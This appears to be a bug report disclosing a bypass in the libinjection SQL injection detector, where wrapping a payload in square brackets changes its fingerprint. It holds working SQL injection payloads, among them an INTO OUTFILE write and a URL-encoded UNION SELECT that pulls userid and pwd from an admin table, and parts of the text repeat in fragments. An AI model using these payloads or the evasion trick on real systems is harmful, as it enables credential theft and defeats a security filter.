Almost any kind of injection, when surrounded by square brackets, can bypass the check.
For example:
1337 INTO OUTFILE ‘xxx’--
vs
[1337 INTO OUTFILE ‘xxx’--]
makes its fingerprint become 'n',
111=@`\'`)%20UnIon%20seleCt%201,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42%20from%20`%23@__admin`%23@`\'`%20
vs
[111=@`\'`)%20UnIon%20seleCt%201,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42%20from%20`%23@__admin`%23@`\'`%20]
its fingerprint becomes 's'.
By a quick look into lexer I found following handling of []:
/**
* This handles MS SQLSERVER bracket words
* http://stackoverflow.com/questions/3551284/sql-serverwhat-do-brackets-mean-around-column-name
*
*/
static size_t parse_bword(struct libinjection_sqli_state * sf)
Almost any kind of injection, when surrounded by square brackets, can bypass the check. For example:
makes its fingerprint become 'n',
its fingerprint becomes 's'.
By a quick look into lexer I found following handling of
[]:This can be a defeat.
I've tested with 3.9.2 and 3.10.0.